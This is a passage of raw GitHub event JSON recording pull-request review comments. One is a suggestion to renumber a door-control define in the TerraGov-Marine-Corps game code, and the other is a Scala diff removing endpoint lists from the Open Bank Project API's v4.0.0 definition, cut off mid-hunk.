er}","notifications_url":"https://api.github.com/repos/tgstation/tgstation/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/tgstation/tgstation/labels{/name}","releases_url":"https://api.github.com/repos/tgstation/tgstation/releases{/id}","deployments_url":"https://api.github.com/repos/tgstation/tgstation/deployments","created_at":"2012-01-21T17:32:47Z","updated_at":"2019-09-15T23:00:16Z","pushed_at":"2019-09-16T02:15:45Z","git_url":"git://github.com/tgstation/tgstation.git","ssh_url":"git@github.com:tgstation/tgstation.git","clone_url":"https://github.com/tgstation/tgstation.git","svn_url":"https://github.com/tgstation/tgstation","homepage":"https://www.tgstation13.org/","size":1387975,"stargazers_count":867,"watchers_count":867,"language":"DM","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":2366,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1356,"license":{"key":"agpl-3.0","name":"GNU Affero General Public License v3.0","spdx_id":"AGPL-3.0","url":"https://api.github.com/licenses/agpl-3.0","node_id":"MDc6TGljZW5zZTE="},"forks":2366,"open_issues":1356,"watchers":867,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/tgstation/tgstation/pulls/46496"},"html":{"href":"https://github.com/tgstation/tgstation/pull/46496"},"issue":{"href":"https://api.github.com/repos/tgstation/tgstation/issues/46496"},"comments":{"href":"https://api.github.com/repos/tgstation/tgstation/issues/46496/comments"},"review_comments":{"href":"https://api.github.com/repos/tgstation/tgstation/pulls/46496/comments"},"review_comment":{"href":"https://api.github.com/repos/tgstation/tgstation/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/tgstation/tgstation/pulls/46496/commits"},"statuses":{"href":"https://api.github.com/repos/tgstation/tgstation/statuses/0764e6ba57e4a24ae86c588a2132dae8bc214069"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 3234987,
"name": "tgstation/tgstation",
"url": "https://api.github.com/repos/tgstation/tgstation"
}
|
{
"id": 20987591,
"login": "Qustinnus",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/20987591?",
"url": "https://api.github.com/users/Qustinnus"
}
|
{
"id": 1363778,
"login": "tgstation",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1363778?",
"url": "https://api.github.com/orgs/tgstation"
}
| 2019-09-16T02:34:52 |
10420768690
|
{"actor":{"display_login":"Qustinnus"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/pulls/comments/281974231","pull_request_review_id":234939860,"id":281974231,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI4MTk3NDIzMQ==","diff_hunk":"@@ -1,6 +1,5 @@\n #define CONTROL_POD_DOORS 0\n #define CONTROL_NORMAL_DOORS 1\n-#define CONTROL_EMITTERS 2\n #define CONTROL_DROPSHIP 3","path":"code/game/machinery/door_control.dm","position":4,"original_position":4,"commit_id":"c7960f244b4f0b16441d8da508485f6ad518cb58","original_commit_id":"c7960f244b4f0b16441d8da508485f6ad518cb58","user":{"login":"Rohesie","id":42041276,"node_id":"MDQ6VXNlcjQyMDQxMjc2","avatar_url":"https://avatars1.githubusercontent.com/u/42041276?v=4","gravatar_id":"","url":"https://api.github.com/users/Rohesie","html_url":"https://github.com/Rohesie","followers_url":"https://api.github.com/users/Rohesie/followers","following_url":"https://api.github.com/users/Rohesie/following{/other_user}","gists_url":"https://api.github.com/users/Rohesie/gists{/gist_id}","starred_url":"https://api.github.com/users/Rohesie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Rohesie/subscriptions","organizations_url":"https://api.github.com/users/Rohesie/orgs","repos_url":"https://api.github.com/users/Rohesie/repos","events_url":"https://api.github.com/users/Rohesie/events{/privacy}","received_events_url":"https://api.github.com/users/Rohesie/received_events","type":"User","site_admin":false},"body":"```suggestion\r\n#define CONTROL_DROPSHIP 2\r\n```","created_at":"2019-05-08T08:54:58Z","updated_at":"2019-05-08T08:54:58Z","html_url":"https://github.com/tgstation/TerraGov-Marine-Corps/pull/1502#discussion_r281974231","pull_request_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/pulls/1502","author_association":"COLLABORATOR","_links":{"self":{"href":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/pulls/comments/281974231"},"html":{"href":"https://github.com/tgstation/TerraGov-Marine-Corps/pull/1502#discussion_r281974231"},"pull_request":{"href":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/pulls/1502"}}},"pull_request":{"url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/pulls/1502","id":276315903,"node_id":"MDExOlB1bGxSZXF1ZXN0Mjc2MzE1OTAz","html_url":"https://github.com/tgstation/TerraGov-Marine-Corps/pull/1502","diff_url":"https://github.com/tgstation/TerraGov-Marine-Corps/pull/1502.diff","patch_url":"https://github.com/tgstation/TerraGov-Marine-Corps/pull/1502.patch","issue_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/issues/1502","number":1502,"state":"open","locked":false,"title":"Killing some machines Part 1","user":{"login":"Jalleo","id":4549053,"node_id":"MDQ6VXNlcjQ1NDkwNTM=","avatar_url":"https://avatars1.githubusercontent.com/u/4549053?v=4","gravatar_id":"","url":"https://api.github.com/users/Jalleo","html_url":"https://github.com/Jalleo","followers_url":"https://api.github.com/users/Jalleo/followers","following_url":"https://api.github.com/users/Jalleo/following{/other_user}","gists_url":"https://api.github.com/users/Jalleo/gists{/gist_id}","starred_url":"https://api.github.com/users/Jalleo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Jalleo/subscriptions","organizations_url":"https://api.github.com/users/Jalleo/orgs","repos_url":"https://api.github.com/users/Jalleo/repos","events_url":"https://api.github.com/users/Jalleo/events{/privacy}","received_events_url":"https://api.github.com/users/Jalleo/received_events","type":"User","site_admin":false},"body":"Removing outdated and really poorly coded versions of normal SS13 objects.\r\n\r\nLiterally lets people direct port the newer versions more easily\r\n\r\n:cl: Jalleo\r\ndel: Removed old things\r\ncode: Some objects will no longer have any interactions. These objects are mainly thematic with their placement. Such as the turbines in big red reactor room. They also should be removed from the processing loop so things \"should be faster!\"\r\n/:cl:\r\n","created_at":"2019-05-06T20:07:40Z","updated_at":"2019-05-08T08:54:58Z","closed_at":null,"merged_at":null,"merge_commit_sha":"ba3884e1fbb1d5d08a048dd5627aedc808d375db","assignee":null,"assignees":[],"requested_reviewers":[{"login":"Alterist","id":38592768,"node_id":"MDQ6VXNlcjM4NTkyNzY4","avatar_url":"https://avatars1.githubusercontent.com/u/38592768?v=4","gravatar_id":"","url":"https://api.github.com/users/Alterist","html_url":"https://github.com/Alterist","followers_url":"https://api.github.com/users/Alterist/followers","following_url":"https://api.github.com/users/Alterist/following{/other_user}","gists_url":"https://api.github.com/users/Alterist/gists{/gist_id}","starred_url":"https://api.github.com/users/Alterist/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Alterist/subscriptions","organizations_url":"https://api.github.com/users/Alterist/orgs","repos_url":"https://api.github.com/users/Alterist/repos","events_url":"https://api.github.com/users/Alterist/events{/privacy}","received_events_url":"https://api.github.com/users/Alterist/received_events","type":"User","site_admin":false}],"requested_teams":[],"labels":[{"id":1140759098,"node_id":"MDU6TGFiZWwxMTQwNzU5MDk4","url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/labels/Code%20Improvement","name":"Code Improvement","color":"551A8B","default":false},{"id":1139602449,"node_id":"MDU6TGFiZWwxMTM5NjAyNDQ5","url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/labels/Removal","name":"Removal","color":"000000","default":false},{"id":1138373324,"node_id":"MDU6TGFiZWwxMTM4MzczMzI0","url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/labels/Sprites","name":"Sprites","color":"5ECCD1","default":false},{"id":1175072881,"node_id":"MDU6TGFiZWwxMTc1MDcyODgx","url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/labels/Test%20Merge%20Candidate","name":"Test Merge Candidate","color":"ffffff","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/pulls/1502/commits","review_comments_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/pulls/1502/comments","review_comment_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/pulls/comments{/number}","comments_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/issues/1502/comments","statuses_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/statuses/c7960f244b4f0b16441d8da508485f6ad518cb58","head":{"label":"Jalleo:Killing_some_machines","ref":"Killing_some_machines","sha":"c7960f244b4f0b16441d8da508485f6ad518cb58","user":{"login":"Jalleo","id":4549053,"node_id":"MDQ6VXNlcjQ1NDkwNTM=","avatar_url":"https://avatars1.githubusercontent.com/u/4549053?v=4","gravatar_id":"","url":"https://api.github.com/users/Jalleo","html_url":"https://github.com/Jalleo","followers_url":"https://api.github.com/users/Jalleo/followers","following_url":"https://api.github.com/users/Jalleo/following{/other_user}","gists_url":"https://api.github.com/users/Jalleo/gists{/gist_id}","starred_url":"https://api.github.com/users/Jalleo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Jalleo/subscriptions","organizations_url":"https://api.github.com/users/Jalleo/orgs","repos_url":"https://api.github.com/users/Jalleo/repos","events_url":"https://api.github.com/users/Jalleo/events{/privacy}","received_events_url":"https://api.github.com/users/Jalleo/received_events","type":"User","site_admin":false},"repo":{"id":169604512,"node_id":"MDEwOlJlcG9zaXRvcnkxNjk2MDQ1MTI=","name":"TerraGov-Marine-Corps","full_name":"Jalleo/TerraGov-Marine-Corps","private":false,"owner":{"login":"Jalleo","id":4549053,"node_id":"MDQ6VXNlcjQ1NDkwNTM=","avatar_url":"https://avatars1.githubusercontent.com/u/4549053?v=4","gravatar_id":"","url":"https://api.github.com/users/Jalleo","html_url":"https://github.com/Jalleo","followers_url":"https://api.github.com/users/Jalleo/followers","following_url":"https://api.github.com/users/Jalleo/following{/other_user}","gists_url":"https://api.github.com/users/Jalleo/gists{/gist_id}","starred_url":"https://api.github.com/users/Jalleo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Jalleo/subscriptions","organizations_url":"https://api.github.com/users/Jalleo/orgs","repos_url":"https://api.github.com/users/Jalleo/repos","events_url":"https://api.github.com/users/Jalleo/events{/privacy}","received_events_url":"https://api.github.com/users/Jalleo/received_events","type":"User","site_admin":false},"html_url":"https://github.com/Jalleo/TerraGov-Marine-Corps","description":"TGMC: An open source version of a well known gamemode","fork":true,"url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps","forks_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/forks","keys_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/teams","hooks_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/hooks","issue_events_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/issues/events{/number}","events_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/events","assignees_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/assignees{/user}","branches_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/branches{/branch}","tags_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/tags","blobs_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/git/refs{/sha}","trees_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/statuses/{sha}","languages_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/languages","stargazers_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/stargazers","contributors_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/contributors","subscribers_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/subscribers","subscription_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/subscription","commits_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/commits{/sha}","git_commits_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/git/commits{/sha}","comments_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/comments{/number}","issue_comment_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/issues/comments{/number}","contents_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/contents/{+path}","compare_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/merges","archive_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/downloads","issues_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/issues{/number}","pulls_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/pulls{/number}","milestones_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/milestones{/number}","notifications_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/labels{/name}","releases_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/releases{/id}","deployments_url":"https://api.github.com/repos/Jalleo/TerraGov-Marine-Corps/deployments","created_at":"2019-02-07T16:38:09Z","updated_at":"2019-02-07T16:38:18Z","pushed_at":"2019-05-07T21:51:26Z","git_url":"git://github.com/Jalleo/TerraGov-Marine-Corps.git","ssh_url":"git@github.com:Jalleo/TerraGov-Marine-Corps.git","clone_url":"https://github.com/Jalleo/TerraGov-Marine-Corps.git","svn_url":"https://github.com/Jalleo/TerraGov-Marine-Corps","homepage":"","size":474866,"stargazers_count":0,"watchers_count":0,"language":"DM","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"agpl-3.0","name":"GNU Affero General Public License v3.0","spdx_id":"AGPL-3.0","url":"https://api.github.com/licenses/agpl-3.0","node_id":"MDc6TGljZW5zZTE="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"tgstation:master","ref":"master","sha":"e99b7bca46a6df4e7d47446815f0816c40e2b969","user":{"login":"tgstation","id":1363778,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzNjM3Nzg=","avatar_url":"https://avatars2.githubusercontent.com/u/1363778?v=4","gravatar_id":"","url":"https://api.github.com/users/tgstation","html_url":"https://github.com/tgstation","followers_url":"https://api.github.com/users/tgstation/followers","following_url":"https://api.github.com/users/tgstation/following{/other_user}","gists_url":"https://api.github.com/users/tgstation/gists{/gist_id}","starred_url":"https://api.github.com/users/tgstation/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tgstation/subscriptions","organizations_url":"https://api.github.com/users/tgstation/orgs","repos_url":"https://api.github.com/users/tgstation/repos","events_url":"https://api.github.com/users/tgstation/events{/privacy}","received_events_url":"https://api.github.com/users/tgstation/received_events","type":"Organization","site_admin":false},"repo":{"id":158907057,"node_id":"MDEwOlJlcG9zaXRvcnkxNTg5MDcwNTc=","name":"TerraGov-Marine-Corps","full_name":"tgstation/TerraGov-Marine-Corps","private":false,"owner":{"login":"tgstation","id":1363778,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzNjM3Nzg=","avatar_url":"https://avatars2.githubusercontent.com/u/1363778?v=4","gravatar_id":"","url":"https://api.github.com/users/tgstation","html_url":"https://github.com/tgstation","followers_url":"https://api.github.com/users/tgstation/followers","following_url":"https://api.github.com/users/tgstation/following{/other_user}","gists_url":"https://api.github.com/users/tgstation/gists{/gist_id}","starred_url":"https://api.github.com/users/tgstation/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tgstation/subscriptions","organizations_url":"https://api.github.com/users/tgstation/orgs","repos_url":"https://api.github.com/users/tgstation/repos","events_url":"https://api.github.com/users/tgstation/events{/privacy}","received_events_url":"https://api.github.com/users/tgstation/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/tgstation/TerraGov-Marine-Corps","description":"TGMC: An open source version of a well known gamemode","fork":false,"url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps","forks_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/forks","keys_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/keys{/key_id}","collaborators_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/teams","hooks_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/hooks","issue_events_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/issues/events{/number}","events_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/events","assignees_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/assignees{/user}","branches_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/branches{/branch}","tags_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/tags","blobs_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/git/refs{/sha}","trees_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/git/trees{/sha}","statuses_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/statuses/{sha}","languages_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/languages","stargazers_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/stargazers","contributors_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/contributors","subscribers_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/subscribers","subscription_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/subscription","commits_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/commits{/sha}","git_commits_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/git/commits{/sha}","comments_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/comments{/number}","issue_comment_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/issues/comments{/number}","contents_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/contents/{+path}","compare_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/compare/{base}...{head}","merges_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/merges","archive_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/downloads","issues_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/issues{/number}","pulls_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/pulls{/number}","milestones_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/milestones{/number}","notifications_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/labels{/name}","releases_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/releases{/id}","deployments_url":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/deployments","created_at":"2018-11-24T05:56:59Z","updated_at":"2019-05-08T08:23:37Z","pushed_at":"2019-05-08T08:23:28Z","git_url":"git://github.com/tgstation/TerraGov-Marine-Corps.git","ssh_url":"git@github.com:tgstation/TerraGov-Marine-Corps.git","clone_url":"https://github.com/tgstation/TerraGov-Marine-Corps.git","svn_url":"https://github.com/tgstation/TerraGov-Marine-Corps","homepage":"","size":474785,"stargazers_count":20,"watchers_count":20,"language":"DM","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":118,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":63,"license":{"key":"agpl-3.0","name":"GNU Affero General Public License v3.0","spdx_id":"AGPL-3.0","url":"https://api.github.com/licenses/agpl-3.0","node_id":"MDc6TGljZW5zZTE="},"forks":118,"open_issues":63,"watchers":20,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/pulls/1502"},"html":{"href":"https://github.com/tgstation/TerraGov-Marine-Corps/pull/1502"},"issue":{"href":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/issues/1502"},"comments":{"href":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/issues/1502/comments"},"review_comments":{"href":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/pulls/1502/comments"},"review_comment":{"href":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/pulls/1502/commits"},"statuses":{"href":"https://api.github.com/repos/tgstation/TerraGov-Marine-Corps/statuses/c7960f244b4f0b16441d8da508485f6ad518cb58"}},"author_association":"NONE"}}
|
{
"id": 158907057,
"name": "tgstation/TerraGov-Marine-Corps",
"url": "https://api.github.com/repos/tgstation/TerraGov-Marine-Corps"
}
|
{
"id": 42041276,
"login": "Rohesie",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/42041276?",
"url": "https://api.github.com/users/Rohesie"
}
|
{
"id": 1363778,
"login": "tgstation",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1363778?",
"url": "https://api.github.com/orgs/tgstation"
}
| 2019-05-08T08:54:58 |
9584525504
|
{"actor":{"display_login":"Rohesie"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/OpenBankProject/OBP-API/pulls/comments/336020928","pull_request_review_id":303277426,"id":336020928,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMzNjAyMDkyOA==","diff_hunk":"@@ -36,403 +36,44 @@ import code.api.v2_1_0.APIMethods210\n import code.api.v2_2_0.APIMethods220\n import code.api.v3_0_0.APIMethods300\n import code.api.v3_0_0.custom.CustomAPIMethods300\n-import code.api.v3_1_0.APIMethods310\n+import code.api.v3_1_0.{APIMethods310, OBPAPI3_1_0}\n import code.util.Helper.MdcLoggable\n \n-import scala.collection.immutable.Nil\n-\n-\n-\n /*\n This file defines which endpoints from all the versions are available in v4.0.0\n */\n-\n-\n object OBPAPI4_0_0 extends OBPRestHelper with APIMethods130 with APIMethods140 with APIMethods200 with APIMethods210 with APIMethods220 with APIMethods300 with CustomAPIMethods300 with APIMethods310 with APIMethods400 with MdcLoggable with VersionedOBPApis{\n \n val version : ApiVersion = ApiVersion.v4_0_0\n \n val versionStatus = \"BLEEDING-EDGE\" // TODO this should be a property of ApiVersion.\n \n-\n- // Possible Endpoints from 1.2.1\n- val endpointsOf1_2_1 = Implementations1_2_1.addCommentForViewOnTransaction ::\n- Implementations1_2_1.addCounterpartyCorporateLocation::\n- Implementations1_2_1.addCounterpartyImageUrl ::\n- Implementations1_2_1.addCounterpartyMoreInfo ::\n- Implementations1_2_1.addCounterpartyOpenCorporatesUrl ::\n- Implementations1_2_1.addCounterpartyPhysicalLocation ::\n- Implementations1_2_1.addOtherAccountPrivateAlias ::\n- Implementations1_2_1.addCounterpartyPublicAlias ::\n- Implementations1_2_1.addCounterpartyUrl ::\n- Implementations1_2_1.addImageForViewOnTransaction ::\n- Implementations1_2_1.addPermissionForUserForBankAccountForMultipleViews ::\n- Implementations1_2_1.addPermissionForUserForBankAccountForOneView ::\n- Implementations1_2_1.addTagForViewOnTransaction ::\n- Implementations1_2_1.addTransactionNarrative ::\n- Implementations1_2_1.addWhereTagForViewOnTransaction ::\n- // Now in 3.0.0 \"allAccountsAllBanks\"::\n-// Implementations1_2_1.bankById ::\n- // Implementations1_2_1.createViewForBankAccount ::\n- Implementations1_2_1.deleteCommentForViewOnTransaction ::\n- Implementations1_2_1.deleteCommentForViewOnTransaction ::\n- Implementations1_2_1.deleteCounterpartyCorporateLocation ::\n- Implementations1_2_1.deleteCounterpartyImageUrl ::\n- Implementations1_2_1.deleteCounterpartyMoreInfo ::\n- Implementations1_2_1.deleteCounterpartyOpenCorporatesUrl ::\n- Implementations1_2_1.deleteCounterpartyPhysicalLocation ::\n- Implementations1_2_1.deleteCounterpartyPrivateAlias ::\n- Implementations1_2_1.deleteCounterpartyPublicAlias ::\n- Implementations1_2_1.deleteCounterpartyUrl ::\n- Implementations1_2_1.deleteImageForViewOnTransaction ::\n- Implementations1_2_1.deleteTagForViewOnTransaction ::\n- Implementations1_2_1.deleteTransactionNarrative ::\n- Implementations1_2_1.deleteViewForBankAccount::\n- Implementations1_2_1.deleteWhereTagForViewOnTransaction ::\n-// Implementations1_2_1.getBanks ::\n- Implementations1_2_1.getCommentsForViewOnTransaction ::\n-// Implementations1_2_1.getOtherAccountsForBankAccount ::\n-// Implementations1_2_1.getOtherAccountByIdForBankAccount ::\n- Implementations1_2_1.getOtherAccountForTransaction ::\n- Implementations1_2_1.getOtherAccountMetadata ::\n- Implementations1_2_1.getOtherAccountPrivateAlias ::\n- Implementations1_2_1.getCounterpartyPublicAlias ::\n- Implementations1_2_1.getImagesForViewOnTransaction ::\n- Implementations1_2_1.getTagsForViewOnTransaction ::\n- // Implementations1_2_1.getTransactionByIdForBankAccount ::\n- Implementations1_2_1.getTransactionNarrative ::\n- //now in V300 \n- //Implementations1_2_1.getTransactionsForBankAccount ::\n- //Implementations1_2_1.getViewsForBankAccount ::\n- Implementations1_2_1.getWhereTagForViewOnTransaction ::\n- Implementations1_2_1.removePermissionForUserForBankAccountForAllViews ::\n- Implementations1_2_1.removePermissionForUserForBankAccountForOneView ::\n- Implementations1_2_1.updateAccountLabel ::\n- Implementations1_2_1.updateCounterpartyCorporateLocation ::\n- Implementations1_2_1.updateCounterpartyImageUrl ::\n- Implementations1_2_1.updateCounterpartyMoreInfo ::\n- Implementations1_2_1.updateCounterpartyOpenCorporatesUrl ::\n- Implementations1_2_1.updateCounterpartyPhysicalLocation ::\n- Implementations1_2_1.updateCounterpartyPrivateAlias ::\n- Implementations1_2_1.updateCounterpartyPublicAlias ::\n- Implementations1_2_1.updateCounterpartyUrl ::\n- Implementations1_2_1.updateTransactionNarrative ::\n- //Implementations1_2_1.updateViewForBankAccount ::\n- Implementations1_2_1.updateWhereTagForViewOnTransaction ::\n- Nil\n-\n-\n- // Possible Endpoints from VERSION 1.3.0\n- val endpointsOf1_3_0 = \n- Implementations1_3_0.getCards ::\n-// Implementations1_3_0.getCardsForBank ::\n- Nil\n-\n-\n- // Possible Endpoints from 1.4.0\n- val endpointsOf1_4_0 = Implementations1_4_0.getCustomerMessages ::\n- Implementations1_4_0.addCustomerMessage ::\n- // Implementations1_4_0.getBranches :: //now in V300\n- // Implementations1_4_0.getAtms :: //now in V300\n- Implementations1_4_0.getCrmEvents ::\n- Implementations1_4_0.getTransactionRequestTypes ::\n- Nil\n-\n-\n- // Possible Endpoints from 2.0.0\n- val endpointsOf2_0_0 = //Now in V3.0.0 Implementations2_0_0.allAccountsAllBanks ::\n- //Now in V3.0.0 Implementations2_0_0.accountById ::\n- Implementations2_0_0.addEntitlement ::\n- Implementations2_0_0.addKycCheck ::\n- Implementations2_0_0.addKycDocument ::\n- Implementations2_0_0.addKycMedia ::\n- Implementations2_0_0.addKycStatus ::\n- Implementations2_0_0.addSocialMediaHandle ::\n- Implementations2_0_0.getPrivateAccountsAtOneBank ::\n- //now in V220\n- //Implementations2_0_0.createAccount ::\n-// Implementations2_0_0.createMeeting ::\n- Implementations2_0_0.createUser ::\n- Implementations2_0_0.createUserCustomerLinks ::\n- Implementations2_0_0.deleteEntitlement ::\n- Implementations2_0_0.elasticSearchMetrics ::\n- //Implementations2_0_0.elasticSearchWarehouse ::\n- // Implementations2_0_0.getAllEntitlements ::\n- //now in V300 Implementations2_0_0.getCoreAccountById ::\n- //now in V300 Implementations2_0_0.getCoreTransactionsForBankAccount ::\n- // Implementations2_0_0.getCurrentUser ::\n- // Implementations2_0_0.getEntitlements ::\n- Implementations2_0_0.getKycChecks ::\n- Implementations2_0_0.getKycDocuments ::\n- Implementations2_0_0.getKycMedia ::\n- Implementations2_0_0.getKycStatuses ::\n-// Implementations2_0_0.getMeeting ::\n-// Implementations2_0_0.getMeetings ::\n- Implementations2_0_0.getPermissionsForBankAccount ::\n- Implementations2_0_0.getSocialMediaHandles ::\n- Implementations2_0_0.getTransactionTypes ::\n- // Implementations2_0_0.getUser ::\n- //now in V300 Implementations2_0_0.corePrivateAccountsAllBanks ::\n- //now in V300 Implementations2_0_0.privateAccountsAtOneBank ::\n- Implementations2_0_0.publicAccountsAllBanks ::\n- Implementations2_0_0.publicAccountsAtOneBank ::\n- Nil\n-\n-\n- // Possible Endpoints from 2.1.0\n- val endpointsOf2_1_0 = Implementations2_1_0.sandboxDataImport ::\n- Implementations2_1_0.getTransactionRequestTypesSupportedByBank ::\n- //Implementations2_1_0.createTransactionRequest ::\n- 